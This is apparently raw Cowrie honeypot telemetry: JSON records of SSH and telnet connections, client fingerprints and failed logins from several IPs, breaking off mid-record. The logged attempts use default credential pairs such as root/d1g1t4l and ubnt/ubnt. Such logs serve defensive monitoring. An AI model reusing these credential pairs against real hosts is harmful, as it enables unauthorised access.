{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40158,"dst_ip":"10.17.0.5","dst_port":23,"session":"6266a1013826","protocol":"telnet","message":"New connection: 192.119.13.58:40158 (10.17.0.5:23) [session: 6266a1013826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:59.576483Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58066,"dst_ip":"10.17.0.5","dst_port":22,"session":"363c97c497a8","protocol":"ssh","message":"New connection: 45.153.34.112:58066 (10.17.0.5:22) [session: 363c97c497a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:00.133989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:00.138899Z","src_ip":"45.153.34.112","session":"363c97c497a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:00.225795Z","src_ip":"45.153.34.112","session":"363c97c497a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:00.679220Z","src_ip":"45.153.34.112","session":"363c97c497a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:01.766233Z","src_ip":"45.153.34.112","session":"363c97c497a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.42798614501953,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:01.824279Z","src_ip":"192.119.13.58","session":"cbd96ede8d5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":59844,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb13a89eab64","protocol":"ssh","message":"New connection: 186.68.83.105:59844 (10.17.0.5:22) [session: eb13a89eab64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:02.707433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:02.713438Z","src_ip":"186.68.83.105","session":"eb13a89eab64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:02.803694Z","src_ip":"186.68.83.105","session":"eb13a89eab64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d1g1t4l","message":"login attempt [root/d1g1t4l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:03.192239Z","src_ip":"186.68.83.105","session":"eb13a89eab64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52178,"dst_ip":"10.17.0.5","dst_port":23,"session":"a418c7d1cf49","protocol":"telnet","message":"New connection: 192.119.13.58:52178 (10.17.0.5:23) [session: a418c7d1cf49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:03.539468Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58074,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9dd6889ea60","protocol":"ssh","message":"New connection: 45.153.34.112:58074 (10.17.0.5:22) [session: f9dd6889ea60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:04.054645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:04.059491Z","src_ip":"45.153.34.112","session":"f9dd6889ea60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:04.149618Z","src_ip":"45.153.34.112","session":"f9dd6889ea60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:04.284745Z","src_ip":"186.68.83.105","session":"eb13a89eab64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:04.394847Z","src_ip":"45.153.34.112","session":"f9dd6889ea60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51874,"dst_ip":"10.17.0.5","dst_port":22,"session":"698ded67b813","protocol":"ssh","message":"New connection: 193.32.162.145:51874 (10.17.0.5:22) [session: 698ded67b813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:04.537862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:04.571308Z","src_ip":"193.32.162.145","session":"698ded67b813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:04.678058Z","src_ip":"193.32.162.145","session":"698ded67b813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:05.195672Z","src_ip":"193.32.162.145","session":"698ded67b813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:05.694275Z","src_ip":"45.153.34.112","session":"f9dd6889ea60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:06.305487Z","src_ip":"193.32.162.145","session":"698ded67b813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.9119610786438,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:06.983098Z","src_ip":"192.119.13.58","session":"68a9b9a67d0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58090,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddc3cb2eff75","protocol":"ssh","message":"New connection: 45.153.34.112:58090 (10.17.0.5:22) [session: ddc3cb2eff75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:07.651528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:07.656492Z","src_ip":"45.153.34.112","session":"ddc3cb2eff75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:07.858364Z","src_ip":"45.153.34.112","session":"ddc3cb2eff75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:08.169432Z","src_ip":"45.153.34.112","session":"ddc3cb2eff75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:09.254742Z","src_ip":"45.153.34.112","session":"ddc3cb2eff75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.506911277770996,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:10.508682Z","src_ip":"192.119.13.58","session":"2750398fe255","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33298,"dst_ip":"10.17.0.5","dst_port":23,"session":"405903e8b82d","protocol":"telnet","message":"New connection: 192.119.13.58:33298 (10.17.0.5:23) [session: 405903e8b82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:11.426740Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46762,"dst_ip":"10.17.0.5","dst_port":22,"session":"4439ef3fa440","protocol":"ssh","message":"New connection: 45.153.34.112:46762 (10.17.0.5:22) [session: 4439ef3fa440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:11.448975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:11.453133Z","src_ip":"45.153.34.112","session":"4439ef3fa440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:11.537607Z","src_ip":"45.153.34.112","session":"4439ef3fa440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:11.783395Z","src_ip":"45.153.34.112","session":"4439ef3fa440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.32650423049927,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:11.790919Z","src_ip":"192.119.13.58","session":"a3efd41e5e2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.57709789276123,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:12.473093Z","src_ip":"192.119.13.58","session":"df91ff7a5177","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:12.873108Z","src_ip":"45.153.34.112","session":"4439ef3fa440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46774,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fcdcd12fea1","protocol":"ssh","message":"New connection: 45.153.34.112:46774 (10.17.0.5:22) [session: 0fcdcd12fea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:14.944942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:15.056520Z","src_ip":"45.153.34.112","session":"0fcdcd12fea1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:15.061552Z","src_ip":"45.153.34.112","session":"0fcdcd12fea1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49564,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0c2171c9fa3","protocol":"telnet","message":"New connection: 192.119.13.58:49564 (10.17.0.5:23) [session: f0c2171c9fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:15.375540Z"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:15.557412Z","src_ip":"45.153.34.112","session":"0fcdcd12fea1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53844,"dst_ip":"10.17.0.5","dst_port":23,"session":"a552a4d7239e","protocol":"telnet","message":"New connection: 192.119.13.58:53844 (10.17.0.5:23) [session: a552a4d7239e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:16.458669Z"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":12660,"dst_ip":"10.17.0.5","dst_port":22,"session":"c05c88beffcc","protocol":"ssh","message":"New connection: 158.178.141.16:12660 (10.17.0.5:22) [session: c05c88beffcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:16.542745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:16.547600Z","src_ip":"158.178.141.16","session":"c05c88beffcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:16.649135Z","src_ip":"45.153.34.112","session":"0fcdcd12fea1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-